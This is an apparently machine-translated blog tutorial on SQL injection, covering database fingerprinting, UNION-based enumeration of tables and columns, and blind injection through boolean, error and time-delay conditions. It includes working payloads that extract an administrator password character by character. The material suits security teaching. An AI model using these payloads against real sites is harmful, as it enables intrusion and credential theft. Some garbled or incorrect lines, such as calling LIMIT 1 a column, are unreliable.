SQL injections for the little ones. Part 3

And this is the final part of a series of articles about SQL injections. In it, we will learn how you can collect information about the database through the use of injections and touch on the topic of blind SQL injections.

When using SQL injection, it is often necessary to gather some information about the database itself. This includes the type and version of the database software, as well as the content of the database in terms of what it has inside. These are different tables, columns, and so on.

Query the type and version of the database

Different databases provide different ways to query their version. Often you have to try different queries to find one that works and allows you to determine the type and version of the database software.

The following are queries to determine the database version for some popular database types:

Microsoft, MySQL

SELECT @@version


SELECT * FROM v$version


SELECT version()

Also, for such queries, you can use the keyword UNION:

' UNION SELECT @@version--

Learn key information about the database

Most types of databases (with the exception of Oracle) have a set of views called an information schema that provide information about the database.

You can query information_schema.tables to list the tables in the database:

SELECT * FROM information_schema.tables

This query will return the following output:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ================================================= ==============

MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

This output tells you that there are 3 tables called Users, Products, Feedback.

You can then query information_schema.columns to list the columns in individual tables:

SELECT * FROM information_schema.columns WHERE table_name="Users"

This query will return the following output:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ================================================= =========================

MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

union select table_name, null from inf...--
union select column_name, null from inf.. where table_name=""--

Well, in Oracle you can do the same as we showed above.

You can list tables with the all_tables query:

SELECT * FROM all_tables

And you can list the columns using the all_tab_columns query:

SELECT * FROM all_tab_columns WHERE table_name="USERS"

Blind SQL Injection

Blind SQL injection occurs when an application is vulnerable to SQL injection but its HTTP responses do not contain the results of the corresponding SQL query or database error details.

With blind SQL injection, many methods such as UNION attacks are ineffective because they rely on being able to see the results of the entered query in the application’s responses. It is still possible to use blind SQL injection to access unauthorized data, but other techniques must be used to do so.

Exploiting Blind SQL Injection by Triggering Conditional Responses
Consider an application that uses cookies to collect analytics usage data. Requests to the application contain a cookie header of the following form:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

When a request is processed that contains the TrackingId cookie, the application determines if the user is known using a SQL query like this:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

This query is vulnerable to SQL injection, but the results of the query are not returned to the user. However, the application behaves differently depending on whether the request returns any data. If it returns data (because a recognized TrackingId was passed), then the page displays a “Welcome back” message.

This behavior is enough to understand what the SQL injection is going through and get the information, triggering different responses conditionally, depending on the injection condition. To see how this works, suppose two requests are sent containing the following TrackingId cookie values ​​in turn:

…xyz’ AND ‘1’=’1
…xyz’ AND ‘1’=’2

The first of these values ​​will cause the query to return results because the injected AND ‘1’=’1 condition is true, and so the “Welcome back” message will be displayed. Whereas the second value will cause the query to return no results because the injected condition is false and no “Welcome back” message will be printed. This allows us to determine the response to any single condition entered and thus retrieve the data one bit at a time.

For example, suppose you have a Users table with columns Username and Password, and an Administrator user. We can systematically determine the password for this user by sending a series of password validation inputs one character at a time.

To do this, we’ll start with the following input:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username="Administrator"), 1, 1) > 'm

We can continue this process to systematically determine the full password for the Administrator user.

How we will develop the attack vector:

  1. TrackingId = 'u5YD3PapBcR4lN3e7Tj4' and select trackingID from tracking table where trackingID='352jgsngoUTEb' and 1=1--

    We have a request field open in BurpSuite’s Repeater and among the headers is the TrackingID, which is where we put our injection. We check whether the application will respond to us differently at 1=1 and 1=0. If it answers differently, then we can bang SQL (if true, for example, it answers ‘Welcome back’)

  1. further we assume that we have a table of users and make the following query

    trID = kjvsjBHBA8' and (select 'x' from users LIMIT 1) = 'x',
    where LIMIT 1 is a column. If true, the user column exists

  2. and (select username from users where username="administrator") = 'administrator'--

    We are checking for the presence of an admin user in the database.

  3. Next, we calculate the length of the password

    and (select username from users where username="administrator" and LENGTH(password)>1) = 'administrator'--

    We bang sniper attack in intruder and run from 1 to 50, where the length in intruder has changed, this is an indicator that we have determined the password size

  4. Brute password with cluster bomb attack:

    and (select substring(password,1,1) from users where username="administrator") = 'a'--

Invoking conditional responses by triggering SQL errors

The previous technique won’t work because introducing different boolean conditions won’t affect the application’s responses in any way.

In this situation, it is often possible to force the application to return conditional responses by raising SQL errors conditionally, depending on the condition entered. This involves modifying the query so that it raises a database error if the condition is true, but not if the condition is false. Very often, an unhandled error thrown by the database causes some difference in the application’s response (for example, an error message), which allows us to infer that the condition entered is true.

To see how this works, suppose two requests are sent containing the following TrackingId cookie values ​​in turn:

`xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Blind injections by calling time delays

The methods for triggering the time delay depend on the type of database being used. In Microsoft SQL Server, you can use input like the following to test a condition and trigger a delay depending on whether an expression is true:

IF (1=2) WAITFOR DELAY '0:0:10'--
IF (1=1) WAITFOR DELAY '0:0:10'--

The first of these inputs will not cause a delay since the condition 1=2 is false. The second input will cause a delay of 10 seconds because the 1=1 condition is true.

Using this technique, we can get data in the way already described, systematically checking one character at a time:

IF (SELECT COUNT(Username) FROM Users WHERE Username="Administrator" AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *